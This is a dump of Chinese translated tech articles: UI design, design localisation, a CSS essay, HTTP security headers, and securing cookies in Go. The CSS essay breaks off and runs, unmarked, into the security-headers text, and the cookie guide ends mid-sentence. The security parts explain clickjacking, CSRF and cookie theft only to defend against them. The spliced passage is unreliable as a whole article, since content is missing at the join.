![](http://babich.biz/content/images/2016/08/1-czn24uzZvVIsLRhc2nVYag.png) 迷失方向,孤立无援,就像在一个荒岛上?遵从 Azendoo 的建议,保持冷静,点个火,然后继续刷新。图片来源: emptystat.es ## 框架界面 我们通常不考虑内容的不同加载速度——我们一直认为都是立马加载(或者至少非常快)。所以我们通常没有为用户需要等待加载的场合设计。 但是网速不是总是有保障的,它可能比预期的要慢。尤其是下载比较大的内容时(比如图片)。如果你不能缩短时间,至少要让用户等待得舒服一点。你可以用 __临时信息容器__ 来保持用户的注意,比如框架界面和图片占位符。比起转圈的加载提示,框架界面能建立对内容的预期,减少认知的负担。 几点建议: * 框架界面不必很抢眼。只需要凸显必要的信息,比如段落结构。Facebook 的灰色占位符就是个好例子——它加载时使用了元素模板,让用户熟悉正在加载的内容的整体结构。注意框架界面中的图片和线框并没有很大区别。 ![](http://babich.biz/content/images/2016/08/1-PGXSupBdpfiGeU6zwfBxNw--1-.jpeg) * 对正在加载的图片,可以用图片中的主色填充一个占位符。 Medium 有一个很棒的图片加载效果。首先载入一个小的模糊图片,然后慢慢转变成大图。 ![](http://babich.biz/content/images/2016/08/1-jFvvQCNfMH7rs-QG5DprKg.png) 真正的图片出现之前,你可以看到模糊图片填充的占位符。图片来源: jmperezperez ## 动画反馈 好的交互设计会提供反馈。在现实世界,像按钮这样的物体会对我们的交互做出反馈。人们会对 app 中的元素有同样水平的期望。可视的反馈让人们有 __掌控感__: * 它会告知交互的结果,让结果可见并可以理解。 * 它给用户一个信号,这个对象(或者 app )执行一个任务成功或者失败。 动画反馈通过即时的信息沟通来节约时间,并且不能让用户厌烦或者分心。最基础的动画反馈就是 __转场__: ![](http://babich.biz/content/images/2016/08/1-JySxzSIszvxYECYOo0Gxag.gif) 当用户看的点击/触摸操作引发的一个动画反馈,他们马上知道这个操作被接受了。图片来源: Ryan Duffy ![](http://babich.biz/content/images/2016/08/1-VQ66RMfNtTLiCX4jqqhlFQ.gif) 当用户点击勾选任务已完成, 包括这个任务的区域就缩小并且变成了绿色。图片来源: Vitaly Rubtsov 使用不同凡响的 [动画](http://babich.biz/animation-in-mobile-ux-design/),一个 app 可以真正的打动用户。 下面是关于动画反馈的一些提示: * 动画反馈必须经久不衰。第一次看着新鲜的东西,100 次之后可能就烦了。 ![](http://babich.biz/content/images/2016/08/1-DCw_ooNYrwRAs_19o_wcsQ.jpeg) 图片来源: Rachel Nabors * 动画可以让用户分心,让他们忽略加载的时间。 ![](http://babich.biz/content/images/2016/08/1-JzEgzgSjJKV7zxWKPdBAjg.gif) 图片来源: xjw * 动画可以让用户体验打动人心,刻骨铭心。 ![](http://babich.biz/content/images/2016/08/1-l2AHcRcm2Knky-IpD0hP4g.gif) 图片来源: Tubik ## 总结 __用心设计__。app 的 UI 里面,每个微小的细节都值得密切注意,因为 UX 就是让所有细节协调的总和。所以,请从一而终,持之以恒的打磨你的 UI,创造真正无与伦比的用户体验。 谢谢! ================================================ FILE: TODO/lost-in-translation-the-importance-of-visual-design-localisation.md ================================================ > * 原文地址:[Lost in Translation: the importance of visual design localisation](https://medium.com/carwow-product-engineering/lost-in-translation-the-importance-of-visual-design-localisation-b75586eec030#.i73b3ayad) * 原文作者:[Jexyla](https://medium.com/@jexyla) * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) * 译者:[cbangchen](https://github.com/cbangchen) * 校对者:[siegeout](https://github.com/siegeout) [mypchas6fans](https://github.com/mypchas6fans) # 视觉设计本地化的重要性 与最新发布的德国网站 carwow 对比,我们不可避免的发现自已需要去为国外市场的网站内容作出适配。有些人觉得这件事情并不是很复杂,只是简单的将已有的网站内容翻译成另一种语言而已。 事实上...这大错特错了。 翻译本身不是万能的,而且我们很快就发现让**可爱的**德文适应我们为英文而创建的漂亮和均衡的布局结构是一件非常困难的事情。另一件事实是,对于一个说英语的人来说,德语单词看起来出奇的长,以至于几乎占据了之前两倍的空间。需要为此改变线条的位置和页面的分页情况(图片 1 和图片 2 可供参考) ![](https://cdn-images-1.medium.com/max/1600/1*uBAFNluIlJcBY7KaRc-ewg.png) 图片 1:英文标语 ![](http://ac-Myg6wSTV.clouddn.com/7305f2176f86d22e0272.png) 图片 2:德文翻译标语 很明显的是,我们无法直接复制黏贴翻译过的文字,然后期待这些文字不需要经过任何调整就能适应版面。我们真的需要重新思考每个页面的布局确保一切都显得到位。同时,就像前面已经说过的,这不仅仅是关于翻译,也关于是否能够在不同的文化中传达相同的信息。 当处理本地化和国际化的时候,这里有三件事你必须记住。 **1\. 良好的文案技能** 这似乎是显而易见的,但没有什么会比一个很好的文案更重要。文字在设计中起着重要的作用,为人们对你的网站和产品的第一印象的产生做出了卓越的贡献。好的文案不止要求语法和拼写上没有错误,而且要求文字更加美好和更具有吸引力。所以说字面的翻译没有用,特别是文字太长或者丢掉了原文中的双关语的时候。 **2\. 为背景而设计** 我们都知道,**一图胜千言**。 所以,当涉及到视觉的时候,没有什么比选择最好的图像更重要了。图片要求具有相关性和容易被理解,并且要符合文化背景。对于我们的德文主页来说,举个例子,我们决定使用一个不同的主页横幅,让德国人更容易联想到他们自身而不是我们的英国网站。 ![](http://ac-Myg6wSTV.clouddn.com/f3ccc405db38b7fd7905.jpeg) 德国主页的主页横幅 **3\. 全球思考,本地行动** 设计真的是用来解决问题的,不同的市场出现不同的问题。一个解决方案控制一切吗?来自不同国家的人会有不同的想法吗?根据本地文化的不同,看起来很有逻辑性的事情对于另一个人来说却不一定如此。虽然互联网帮助我们缩小彼此的距离,让我们感觉像是一个大社区里面的一员,但依然保持了一定的多元性,甚至当人们使用相同的产品的时候,会感受到截然不同的体验。 #### 结论 并没有很多关于这一个主题的文档记录,看一下其他的网站,他们通常是将不同的语言进行转换,而不是进行 “本地化” 或 “国际化”,设计保持不变。视觉设计本地化不应该被这样的低估,因为它的重要性远超过翻译本身。最后,我们需要记住的最重要的事情是,设计是为人类而做的工作,我们需要很好地理解目标文化才能作出针对性的设计。 ================================================ FILE: TODO/love-letter-css.md ================================================ > * 原文地址:[A Love Letter to CSS](http://developer.telerik.com/topics/web-development/love-letter-css/) > * 原文作者:[TJ VanToll](http://developer.telerik.com/author/tvantoll/) > * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) > * 译者:[reid3290](https://github.com/reid3290) > * 校对者:[changkun](https://github.com/changkun),[CACppuccino](https://github.com/CACppuccino) # 一封写给 CSS 的情书 ![http://developer.telerik.com/wp-content/uploads/2017/05/css_love_header.jpg](http://developer.telerik.com/wp-content/uploads/2017/05/css_love_header.jpg) 当我和同事们谈及我对 CSS 的热爱有增无减时,他们一个个盯着我看,好像我做了个不幸的人生决定一样。 > “TJ,来坐这,我们来聊聊你小时候做的那个糟糕的选择是如何注定你一生的失败的。” 有时候我觉得开发者们 —— 这星球上最固执己见的一批人 —— 只有一条共识:CSS 是最垃圾的。 ![](https://ws2.sinaimg.cn/large/006tNc79gy1fgcf54bv9uj30eo062dga.jpg) 嘲讽 CSS 是在技术大会上博众人一笑的最佳手段之一,黑 CSS 的表情包也早已泛滥成灾,我觉得不放两个在这都对不起大家。 ![](http://developer.telerik.com/wp-content/uploads/2017/05/css-mug.jpg) ![](http://developer.telerik.com/wp-content/uploads/2017/05/css-blinds.gif) 但是今天我要给你们洗洗脑了。我要说服你相信 CSS 是你日常所使用的最好的技术之一,CSS设计精美,每次你打开 `.css` 文件的时候都应该心存感激! 我的论点相当简单明了:为构建复杂的用户界面创建一个全面的样式系统是非常困难的,任何 CSS 的替代方案都只会比 CSS 更糟而已。 为了论证我的观点,我会将 CSS 同其他几种样式系统相比较,首先来看一种比较古老的技术。 ## 天哪,还记得 Java applets 吗? 大学期间我曾用 Java applets 技术编写过一些应用,这是一种现在几乎已经被淘汰了的技术。Java appltes 基本上就是一些 Java 应用,你可以使用 `` 标签随意地将其嵌入浏览器中。运气好的话,可能有一半用户在本地安装了版本正确的 Java,并能成功运行你的应用。 ![](http://developer.telerik.com/wp-content/uploads/2017/05/java-applet.jpg) **一个简单的 Java applet,带你回到 90 年代末** Java applets 在 1995 年推出,并在随后的几年里逐渐流行了起来。如果你在 90 年代末就已经在出来浪了的话,那你应该记得那场关于 web 技术和 Java applets 的技术论战。 和大多数用于构建用户界面的技术一样,Java applets 允许你改变用户界面上各种控件的外观。而且由于 Java applets 被视为 web 开发的合理替代技术,有时会将在 applets 中进行控件布局的便捷性和用 web 技术实现相同的功能作比较。 Java applets 显然没有使用 CSS,那它究竟是如何进行 UI 布局的呢?并不容易。 尝试用谷歌搜索“在 Java applet 中改变按钮颜色”,[返回的第一条结果代码如下:](http://www.java-examples.com/change-button-background-color-example). ``` /* 改变按钮背景颜色的例子 该 java 示例展示了如何使用 AWT Button 类改变按钮背景颜色 */ import java.applet.Applet; import java.awt.Button; import java.awt.Color; public class ChangeButtonBackgroundExample extends Applet{ public void init(){ //创建按钮 Button button1 = new Button("Button 1"); Button button2 = new Button("Button 2"); /* * 为了改变按钮背景颜色,使用 * setBackground(Color c) 方法。 */ button1.setBackground(Color.red); button2.setBackground(Color.green); //添加按钮 add(button1); add(button2); } } ``` 首先应该注意的是,Java applets 没有提供将代码逻辑和样式进行分离的方法,就像你可能在网页上使用 HTML 和 CSS 一样。它将作为本文剩余部分的主题。 其次,创建两个按钮并改变其背景颜色需要编写**大量**代码。此刻你要是在想,“呵呵,这种方法在开发实际应用的时候很快就会变得不可控了”,那么你便开始能理解为什么 web 技术最终战胜了 Java Applets 了。 话虽如此,但我知道你在想什么。 > “TJ,你还没有完全说服我 CSS 的样式系统比 Java Applet 的更好呢。你这标准应该设得更高一点嘛。” 没错,Java applet 的可视化 API 并非界面设计的黄金准则,因此让我们将注意力转到当前的开发中来:Android 应用。 ## 为什么说 Android 应用的样式布局很难? 在某些方面,Android 可以说是现代化的高级版 Java applets。同 Java applets 一样,Android 也使用 Java 作为开发语言。 (不过,根据[谷歌最近在 Google I/O 大会上的声明]((https://techcrunch.com/2017/05/17/google-makes-kotlin-a-first-class-language-for-writing-android-apps/)),你很快就能使用 Kotlin 语言了。)但与 Java applets 不同的是,Android 包含一系列约定,使得构建用户界面更加容易,也更像是在构建 web 应用。 在 Android 应用中,界面控件的定义写在 XML 文件中,而与这些控件交互的逻辑则写在单独的 Java 文件中。这点很像 web 应用 —— HTML 文件负责标签结构,独立的 JavaScript 文件负责行为逻辑。 如下代码是一个非常简单的 Android “activity”(基本就是个页面)的标签结构: ``` ``` 有许多恶意应用程序都采用了点击劫持,例如诱导用户点赞,在线购买商品,甚至提交机密信息。恶意 web 应用程序可以通过在其恶意应用中嵌入合法的 web 应用来利用 iframe 进行点击劫持,这可以通过设置 `opacity: 0` 的 CSS 规则将其隐藏,并将 iframe 的点击目标直接放置在看起来无辜的按钮之上。点击了这个无害按钮的用户会直接点击在嵌入的 web 应用上,并不知道点击后的后果。 阻止这种攻击的一种有效的方法是限制你的 web 应用被框架化。在 [RFC 7034](https://www.ietf.org/rfc/rfc7034.txt) 中引入的 `X-Frame-Options`,就是设计用来做这件事的。此响应头指示浏览器对你的 web 应用是否可以被嵌入另一个网页进行限制,从而阻止恶意网页欺骗用户调用你的应用程序进行各项操作。你可以使用 `DENY` 完全屏蔽,或者使用 `ALLOW-FROM` 指令将特定域列入白名单,也可以使用 `SAMEORIGIN` 指令将应用的源地址列入白名单。 我的建议是使用 `SAMEORIGIN` 指令,因为它允许 iframe 被同域的应用程序所使用,这有时是有用的。以下是响应头的示例: ``` X-Frame-Options: SAMEORIGIN ``` 以下是在 Node.js 中设置此响应头的示例代码: ```javascript function requestHandler(req, res){ res.setHeader('X-Frame-Options','SAMEORIGIN');} ``` ### 指定白名单资源 ### 如前所述,你可以通过启用浏览器的 XSS 过滤器,给你的 web 应用程序增强安全性。然而请注意,这种机制是有局限性的,不是所有浏览器都支持(例如 Firefox 就不支持 XSS 过滤),并且依赖的模式匹配技术可以被欺骗。 对抗 XSS 和其他攻击的另一层的保护,可以通过明确列出可信来源和操作来实现 —— 这就是内容安全策略(CSP)。 CSP 是一种 W3C 规范,它定义了强大的基于浏览器的安全机制,可以对 web 应用中的资源加载以及脚本执行进行精细的控制。使用 CSP 可以将特定的域加入白名单进行脚本加载、AJAX 调用、图像加载和样式加载等操作。你可以启用或禁用内联脚本或动态脚本(臭名昭著的 `eval`),并通过将特定域列入白名单来控制框架化。CSP 的另一个很酷的功能是它允许配置实时报告目标,以便实时监控应用程序进行 CSP 阻止操作。 这种对资源加载和脚本执行的明确的白名单提供了很强的安全性,在很多情况下都可以防范攻击。例如,使用 CSP 禁止内联脚本,你可以防范很多反射型 XSS 攻击,因为它们依赖于将内联脚本注入到 DOM。 CSP 是一个相对复杂的响应头,它有很多种指令,在这里我不详细展开了,可以参考 HTML5 Rocks 里一篇很棒的[教程](https://www.html5rocks.com/en/tutorials/security/content-security-policy/),其中提供了 CSP 的概述,我非常推荐阅读它来学习如何在你的 web 应用中使用 CSP。 以下是一个设置 CSP 的示例代码,它仅允许从应用程序的源域加载脚本,并阻止动态脚本的执行(eval)以及内嵌脚本(当然,还是 Node.js): ```javascript function requestHandler(req, res){ res.setHeader('Content-Security-Policy',"script-src 'self'");} ``` ### 防止 Content-Type 嗅探 ### 为了使用户体验尽可能无缝,许多浏览器实现了一个功能叫内容类型嗅探,或者 MIME 嗅探。这个功能使得浏览器可以通过「嗅探」实际 HTTP 响应的资源的内容直接检测到资源的类型,无视响应头中 `Content-Type` 指定的资源类型。虽然这个功能在某些情况下确实是有用的,它引入了一个漏洞以及一种叫 MIME 类型混淆攻击的攻击手法。MIME 嗅探漏洞使攻击者可以注入恶意资源,例如恶意脚本,伪装成一个无害的资源,例如一张图片。通过 MIME 嗅探,浏览器将忽略声明的图像内容类型,它不会渲染图片,而是执行恶意脚本。 幸运的是,`X-Content-Type-Options` 响应头缓解了这个漏洞。此响应头在 2008 年引入 IE8,目前大多数主流浏览器都支持(Safari 是唯一不支持的主流浏览器),它指示浏览器在处理获取的资源时不使用嗅探。因为 `X-Content-Type-Options` 仅在 [「Fetch」规范](https://fetch.spec.whatwg.org/#x-content-type-options-header)中正式指定,实际的实现因浏览器而异。一部分浏览器(IE 和 Edge)完全阻止了 MIME 嗅探,而其他一些(Firefox)仍然会进行 MIME 嗅探,但会屏蔽掉可执行的资源(JavaScript 和 CSS)如果声明的内容类型与实际的类型不一致。后者符合最新的 Fetch 规范。 `X-Content-Type-Options` 是一个很简单的响应头,它只有一个指令,`nosniff`。它是这样指定的:`X-Content-Type-Options: nosniff`。以下是示例代码: ```javascript function requestHandler(req, res){ res.setHeader('X-Content-Type-Options','nosniff');} ``` ### 总结 ### 本文中,我们了解了如何利用 HTTP 响应头来加强 web 应用的安全性,防止攻击和减轻漏洞。 #### 要点 #### - 使用 `Cache-Control` 禁用对机密信息的缓存 - 通过 `Strict-Transport-Security` 强制使用 HTTPS,并将你的域添加到 Chrome 预加载列表 - 利用 `X-XSS-Protection` 使你的 web 应用更加能抵抗 XSS 攻击 - 使用 `X-Frame-Options` 阻止点击劫持 - 利用 `Content-Security-Policy` 将特定来源与端点列入白名单 - 使用 `X-Content-Type-Options` 防止 MIME 嗅探攻击 请记住,为了使 web 真正迷人,它必须是安全的。利用 HTTP 响应头构建更加安全的网页吧! (**声明:** 此文内容仅属本人,不代表本人过去或现在的雇主。) (*首页图片版权:[Pexels.com](https://www.pexels.com/photo/coffee-writing-computer-blogging-34600/)*) --- > [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区,文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域,想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。 ================================================ FILE: TODO/securing-cookies-in-go.md ================================================ > * 原文地址:[Securing Cookies in Go](https://www.calhoun.io/securing-cookies-in-go/) > * 原文作者:[Jon Calhoun](https://www.calhoun.io/hire-me/) > * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) > * 本文永久链接:[https://github.com/xitu/gold-miner/blob/master/TODO/securing-cookies-in-go.md](https://github.com/xitu/gold-miner/blob/master/TODO/securing-cookies-in-go.md) > * 译者:[lsvih](https://github.com/lsvih) > * 校对者:[tmpbook](https://github.com/tmpbook), [Yuuoniy](https://github.com/Yuuoniy) # 在 Go 语言中增强 Cookie 的安全性 在我开始学习 Go 语言时已经有一些 Web 开发经验了,但是并没有直接操作 Cookie 的经验。我之前做过 Rails 开发,当我不得不需要在 Rails 中读写 Cookie 时,并不需要自己去实现各种安全措施。 瞧瞧,Rails 默认就自己完成了大多数的事情。你不需要设置任何 CSRF 策略,也无需特别去加密你的 Cookie。在新版的 Rails 中,这些事情都是它默认帮你完成的。 而使用 Go 语言开发则完全不同。在 Golang 的默认设置中,这些事都不会帮你完成。因此,当你想要开始使用 Cookie 时,了解各种安全措施、为什么要使用这些措施、以及如何将这些安全措施集成到你的应用中是非常重要的事。希望本文能帮助你做到这一点。 **注意:我并不想引起关于 Go 与 Reils 两者哪种更好的论战。两者各有优点,但在本文中我希望能着重讨论 Cookie 的防护,而不是去争论 Rails 和 Go 哪个好。** ## 什么是 Cookie? 在进入 Cookie 防护相关的内容前,我们必须要理解 Cookie 究竟是什么。从本质上说,Cookie 就是存储在终端用户计算机中的键值对。因此,使用 Go 创建一个 Cookie 需要做的事就是创建一个包含键名、键值的 [http.Cookie](https://golang.org/pkg/net/http/#Cookie) 类型字段,然后调用 [http.SetCookie](https://golang.org/pkg/net/http/#SetCookie) 函数通知终端用户的浏览器设置该 Cookie。 写成代码之后,它看起来类似于这样: ``` func someHandler(w http.ResponseWriter, r *http.Request) { c := http.Cookie{ Name: "theme", Value: "dark", } http.SetCookie(w, &c) } ``` > `http.SetCookie` 函数并不会返回错误,但它可能会静默地移除无效的 Cookie,因此使用它并不是什么美好的经历。但它既然这么设计了,就请你在使用这个函数的时候一定要牢记它的特性。 虽然这好像是在代码中“设定”了一个 Cookie,但其实我们只是在我们返回 Response 时发送了一个 `"Set-Cookie"` 的 Header,从而定义需要设置的 Cookie。我们不会在服务器上存储 Cookie,而是依靠终端用户的计算机创建与存储 Cookie。 我要强调上面这一点,因为它存在非常严重的安全隐患:我们**不能**控制这些数据,而终端用户的计算机(以及用户)才能控制这些数据。 当读取与写入终端用户控制的数据时,我们都需要十分谨慎地对数据进行处理。恶意用户可以删除 Cookie、修改存储在 Cookie 中的数据,甚至我们可能会遇到[中间人攻击](https://en.wikipedia.org/wiki/Man-in-the-middle_attack),即当用户向服务器发送数据时,另有人试图窃取 Cookie。 ## Cookie 的潜在安全问题 根据我的经验,Cookie 相关的安全性问题大致分为以下五大类。下面我们先简单地看一看,本文的剩余部分将详细讨论每个分类的细节问题与解决对策。 **1. Cookie 窃取** - 攻击者会通过各种方式来试图窃取 Cookie。我们将讨论如何防范、规避这些方式,但是归根结底我们并不能完全阻止设备上的物理类接触。 **2. Cookie 篡改** - Cookie 中存储的数据可以被用户有意或无意地修改。我们将讨论如何验证存储在 Cookie 中的数据确实是我们写入的合法数据 **3. 数据泄露** - Cookie 存储在终端用户的计算机上,因此我们需要清楚地意识到什么数据是能存储在 Cookie 中的,什么数据是不能存储在 Cookie 中的,以防其发生数据泄露。 **4. 跨站脚本攻击(XSS)** - 虽然这条与 Cookie 没有直接关系,但是 XSS 攻击在攻击者能获取 Cookie 时危害更大。我们应该考虑在非必须的时候限制脚本访问 Cookie。 **5. 跨站请求伪造(CSRF)** - 这种攻击常常是由于使用 Cookie 存储用户登录会话造成的。因此我们将讨论在这种情景下如何防范这种攻击。 如我前面所说,在下文中我们将分别解决这些问题,让你最终能够专业地将你的 Cookie 装进保险柜。 ## Cookie 窃取 Cookie 窃取攻击就和它字面意思一样 —— 某人窃取了正常用户的 Cookie,然后一般用来将自己伪装成那个正常用户。 Cookie 通常是被以下方式中的某种窃取: 1. [中间人攻击](https://en.wikipedia.org/wiki/Man-in-the-middle_attack),或者是类似的其它攻击方式,归纳一下就是攻击者拦截你的 Web 请求,从中窃取 Cookie。 2. 取得硬件的访问权限。 阻止中间人攻击的终极方式就是当你的网站使用 Cookie 时,使用 SSL。使用 SSL 时,由于中间人无法对数据进行解密,因此外人基本上没可能在请求的中途获取 Cookie。 可能你会觉得“哈哈,中间人攻击不太可能…”,我建议你看看 [firesheep](http://codebutler.com/firesheep),这个简单的工具,它足以说明在使用公共 wifi 时窃取未加密的 Cookie 是一件很轻松的事情。 如果你想确保这种事情不发生在你的用户中,**请使用 SSL!**试试使用 [Caddy Server](https://caddyserver.com/) 进行加密吧。它经过简单的配置就能投入生产环境中。例如,你可以使用下面四行代码轻松让你的 Go 应用使用代理: ``` calhoun.io { gzip proxy / localhost:3000 } ``` 然后 Caddy 会为你自动处理所有与 SSL 有关的事务。 防范通过访问硬件来窃取 Cookie 是十分棘手的事情。我们不能强制我们的用户使用高安全性系统,也不能逼他们为电脑设置密码,所以总会有他人坐在电脑前偷走 Cookie 的风险。此外,Cookie 也可能被病毒窃取,比如用户打开了某些钓鱼邮件时就会出现这种情况。 不过这些都容易被发现。例如,如果有人偷了你的手表,当你发现表不在手上时你立马就会注意到它被偷了。然而 Cookie 还可以被复制,这样任何人都不会意识到它已经丢了。 虽然不是万无一失,但你还是可以用一些技术来猜测 Cookie 是否被盗了。例如,你可以追踪用户的登录设备,要求他们重新输入密码。你还可以跟踪用户的 IP 地址,当其在可疑地点登录时通知用户。 所有的这些解决方案都需要后端做更多的工作来追踪数据,如果你的应用需要处理一些敏感信息、金钱,或者它的收益可观的话,请在安全方面投入更多精力。 也就是说,对于大多数只是作为过渡版本的应用来说,使用 SSL 就足够了。 ## Cookie 篡改(也叫用户伪造数据) 请直面这种情况 —— 可能有一些混蛋突然就想看看你设的 Cookie,然后修改它的值。也可能他是出于好奇才这么做的,但是还是请你为这种可能发生的情况做好准备。 在一些情景中,我们对此并不在意。例如,我们给用户定义一种主题设置时,并不会关心用户是否改变了这个设置。当这个 Cookie 过期时,就会恢复默认的主题设置,并且如果用户设置其为另一个有效的主题时我们可以让他正常使用那个主题,这并不会对系统造成任何损失。 但是在另一些情况下,我们需要格外小心。编辑会话 Cookie 冒充另一个用户产生的危害比改个主题大得多。我们绝不想看到张三假装自己是李四。 我们将介绍两种策略来检测与防止 Cookie 被篡改。 #### 1. 对数据进行数字签名 对数据进行数字签名,即对数据增加一个“签名”,这样能让你校验数据的可靠性。这种方法并不需要对终端用户的数据进行加密或隐藏,只要对 Cookie 增加必要的签名数据,我们就能检测到用户是否修改数据。 这种保护 Cookie 的方法原理是哈希编码 —— 我们对数据进行哈希编码,接着将数据与它的哈希编码同时存入 Cookie 中。当用户发送 Cookie 给我们时,再对数据进行哈希计算,验证此时的哈希值与原始哈希值是否匹配。 我们当然不会想看到用户也创建一个新的哈希来欺骗我们,因此你可以使用一些类似 HMAC 的哈希算法来使用秘钥对数据进行哈希编码。这样就能防范用户同时编辑数据与数字签名(即哈希值)。 > [JSON Web Tokens(JWT)](https://jwt.io/) 默认内置了数字签名功能,因此你可能对这种方法比较熟悉。 在 Go 中,可以使用类似 Gorilla 的 [securecookie](http://www.gorillatoolkit.org/pkg/securecookie) 之类的 package,你可以在创建 `SecureCookie` 时使用它来保护你的 Cookie。 ``` // 推荐使用 32 字节或 64 字节的 hashKey // 此处为了简洁故设为了 “very-secret” var hashKey = []byte("very-secret") var s = securecookie.New(hashKey, nil) func SetCookieHandler(w http.ResponseWriter, r *http.Request) { encoded, err := s.Encode("cookie-name", "cookie-value") if err == nil { cookie := &http.Cookie{ Name: "cookie-name", Value: encoded, Path: "/", } http.SetCookie(w, cookie) fmt.Fprintln(w, encoded) } } ``` 然后你可以在另一个处理 Cookie 的函数中同样使用 SecureCookie 对象来读取 Cookie。 ``` func ReadCookieHandler(w http.ResponseWriter, r *http.Request) { if cookie, err := r.Cookie("cookie-name"); err == nil { var value string if err = s.Decode("cookie-name", cookie.Value, &value); err == nil { fmt.Fprintln(w, value) } } } ``` **以上样例来源于 [http://www.gorillatoolkit.org/pkg/securecookie](http://www.gorillatoolkit.org/pkg/securecookie).** > 注意:这儿的数据并不是进行了加密,而只是进行了编码。我们会在“数据泄露”一章讨论如何对数据进行加密。 这种模式还需要注意的是,如果你使用这种方式进行身份验证,请遵循 JWT 的模式,将登录过期日期和用户数据同时进行签名。你不能只凭 Cookie 的过期日期来判断登录是否有效,因为存储在 Cookie 上的日期并未经过签名,且用户可以创建一个永不过期的新 Cookie,将原 Cookie 的内容复制进去就得到了一个永远处于登录状态的 Cookie。 #### 2. 进行数据混淆 还有一种解决方案可以隐藏数据并防止用户造假。例如,不要这样存储 Cookie: ``` // 别这么做 http.Cookie{ Name: "user_id", Value: "123", } ``` 我们可以存储一个值来映射存在数据库中的真实数据。通常使用 Session ID 或者 remember token 来作为这个值。例如我们有一个名为 `remember_tokens` 的表,这样存储数据: ``` remember_token: LAKJFD098afj0jasdf08jad08AJFs9aj2ASfd1 user_id: 123 ``` 在 Cookie 中,我们仅存储这个 remember token。如果用户想伪造 Cookie 也会无从下手。它看上去就是一堆乱码。 之后当用户要登陆我们的应用时,再根据 remember token 在数据库中查询,确定用户具体的登录状态。 为了让此措施正常工作,你需要确保你的混淆值有以下特性: - 能映射到用户数据(或其它资源) - 随机 - 熵值高 - 可被无效化(例如在数据库中删除、修改 token 值) 这种方法也有一个缺点,就是在用户访问每个需要校验权限的页面时都得进行数据库查询。不过这个缺点很少有人注意,而且可以通过缓存等技术来减小数据库查询的开销。这种方法的升级版就是 JWT,应用这种方法你可以随时使会话无效化。 **注意:尽管目前 JWT 收到了大多数 JS 框架的追捧,但上文这种方法是我了解的最常用的身份验证策略。** ## 数据泄露 在真正出现数据泄露前,通常需要另一种攻击向量 —— 例如 Cookie 窃取。然而还是很难去正确地判断并提防数据泄露的发生。因为仅仅是 Cookie 发生了泄露并不意味着攻击者也得到了用户的账户密码。 无论何时,都应当减少存储在 Cookie 中的敏感数据。绝不要将用户密码之类的东西存在 Cookie 中,即使密码已经经过了编码也不要这么做。[这篇文章](https://hackernoon.com/your-node-js-authentication-tutorial-is-wrong-f1a3bf831a46#2491) 给出了几个开发者无意间将敏感数据存储在 Cookie 或 JWT 中的实例,由于(JWT 的 payload)是 base64 编码,没有经过任何加密,因此任何人都可以对其进行解码。 出现数据泄露可是犯了大错。如果你担心你不小心存储了一些敏感数据,我建议你使用如 Gorilla 的 [securecookie](http://www.gorillatoolkit.org/pkg/securecookie) 之类的 package。 前面我们讨论了如何对你的 Cookie 进行数字签名,其实 `securecookie` 也可以用于加密与解密你的 Cookie 数据,让你的数据不能被轻易地解码并读取。 使用这个 package 进行加密,你只需要在创建 `SecureCookie` 实例时传入一个“块秘钥”(blockKey)即可。 ``` var hashKey = []byte("very-secret") // 增加这一部分进行加密 var blockKey = []byte("a-lot-secret") var s = securecookie.New(hashKey, blockKey) ``` 其它所有东西都和前面章节的数字签名中的样例一致。 再次提醒,你**不应该**在 Cookie 中存储任何敏感数据,尤其不能存储密码之类的东西。加密仅仅是一项为数据增加一部分安全性,使其成为”半敏感数据“数据的技术而已。 ## 跨站脚本攻击(XSS) [跨站脚本(Cross-site scripting)](https://en.wikipedia.org/wiki/Cross-site_scripting)也经常被记为 XSS,及有人试图将一些不是你写的 JavaScript 代码注入你的网站中。但由于其攻击的机理,你无法知道正在浏览器中运行的 JavaScript 代码到底是不是你的服务器提供的代码。 无论何时,你都应该尽量去阻止 XSS 攻击。在本文中我们不会深入探讨这种攻击的具体细节,但是**以防万一**我建议你在非必要的情况下禁止 JavaScript 访问 Cookie 的权限。在你需要这个权限的时候你可以随时开启它,所以不要让它成为你的网站安全性脆弱的理由。 在 Go 中完成这点很简单,只需要在创建 Cookie 时设置 `HttpOnly` 字段为 true 即可。 ``` cookie := http.Cookie{ // true 表示脚本无权限,只允许 http request 使用 Cookie。 // 这与 Http 与 Https 无关。 HttpOnly: true, } ``` ## CSRF(跨站请求伪造) CSRF 发生的情况为某个用户访问别人的站点,但那个站点有一个能提交到你的 web 应用的表单。由于终端用户提交表单时的操作不经由脚本,因此浏览器会将此请求设为用户进行的操作,将 Cookie 附上表单数据同时发送。 乍一看似乎这没什么问题,但是如果外部网站发送一些用户不希望发送的数据时会发生什么呢?例如,badsite.com 中有个表单,会提交请求将你的 100 美元转到他们的账户中,而 chase.com 希望你在它这儿登录你的银行账户。这可能会导致在终端用户不知情的情况下钱被转走。 Cookie 不会直接导致这样的问题,不过如果你使用 Cookie 作为身份验证的依据,那你需要使用 Gorilla 的 [csrf](http://www.gorillatoolkit.org/pkg/csrf) 之类的 package 来避免 CSRF 攻击。 这个 package 将会提供一个 CSRF token,插入你网站的每个表单中,当表单中不含 token 时,`csrf` package 中间件将会阻止表单的提交,使得别的网站不能欺骗用户在他们那儿向你的网站提交表单。 **更多关于 CSRF 攻击的资料请参阅:** - [https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)](https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)) - [https://en.wikipedia.org/wiki/Cross-site_request_forgery](https://en.wikipedia.org/wiki/Cross-site_request_forgery) ## 在非必要时限制 Cookie 的访问权限 我们要讨论的最后一件事与特定的攻击无关,更像是一种指导原则。我建议在使用 Cookie 时尽量限制其权限,仅在你需要时开发相关权限。 前面讨论 XSS 时我也简单的提到过这点,但一般的观点是你需要尽可能限制对 Cookie 的访问。例如,如果你的 Web 应用没有使用子域名,那你就不应该赋予 